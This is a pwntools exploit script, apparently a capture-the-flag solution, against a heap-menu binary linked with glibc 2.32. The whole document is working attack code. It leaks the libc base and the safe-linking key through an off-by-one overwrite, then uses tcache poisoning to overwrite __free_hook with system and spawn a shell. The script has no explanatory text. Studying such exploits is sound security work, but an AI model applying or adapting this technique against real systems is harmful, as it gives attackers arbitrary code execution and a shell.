1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * context(os='linux',arch='amd64',log_level='debug') p = process("./pwn") libc = ELF("libc-2.32.so")
def debug(): gdb.attach(p) def add(index,size): p.sendlineafter("Your choice: ","1") p.sendlineafter("Enter the index: ",str(index)) p.sendlineafter("Enter the Size: ",str(size)) def edit(index,content): p.sendlineafter("Your choice: ","3") p.sendlineafter("Enter the index: ",str(index)) p.sendafter("Enter the content: ",content) def delete(index): p.sendlineafter("Your choice: ","2") p.sendlineafter("Enter the index: ",str(index)) def show(index): p.sendlineafter("Your choice: ","4") p.sendlineafter("Enter the index: ",str(index)) for i in range(7): add(i,0x80) add(8,0x18) add(9,0x20) add(10,0x80) add(11,0x10) payload = 'a'*0x18 + "\x51" edit(8,payload) payload = b'a'*0x10 + p64(0) + p64(0x71) + b'\x0a' edit(10,payload) delete(9) add(9,0x40) for i in range(8): delete(i) delete(10) payload = b'a'*0x30 + b'\x0a' edit(9,payload) show(9) libcbase = u64(p.recvuntil("\x7f")[-5:].ljust(8,b'\x00')) * 0x100 - 0x1e3c00 print(hex(libcbase)) payload = b'a'*0x20 + p64(0) + p64(0x91) + p64(libcbase + 0x1e3c00)*2 + b'\x0a' edit(9,payload) free_hook = libcbase + libc.sym["__free_hook"] system_addr = libcbase + libc.sym['system'] onegadget = [0xdf54c,0xdf54f,0xdf552] og = libcbase + onegadget[2] for i in range(7): add(i,0x80) add(10,0x80) delete(0) delete(10) payload = b'a'*0x37 + b'\x0a' edit(9,payload) show(9) p.recvuntil("a\n") key = u64(p.recvuntil("\x0a\x2a")[:-2].ljust(8,b'\x00')) >> 12 print(hex(key)) fake_chunk = key ^ free_hook payload = b'a'*0x20 + p64(0) + p64(0x91) + p64(fake_chunk) + b'\x0a' edit(9,payload) #print(hex(libc.sym['__free_hook'])) add(10,0x80) add(12,0x80) payload = p64(system_addr) + b'\x0a' edit(12,payload) edit(2,b'/bin/sh\x00\n') delete(2) #debug() p.interactive()
|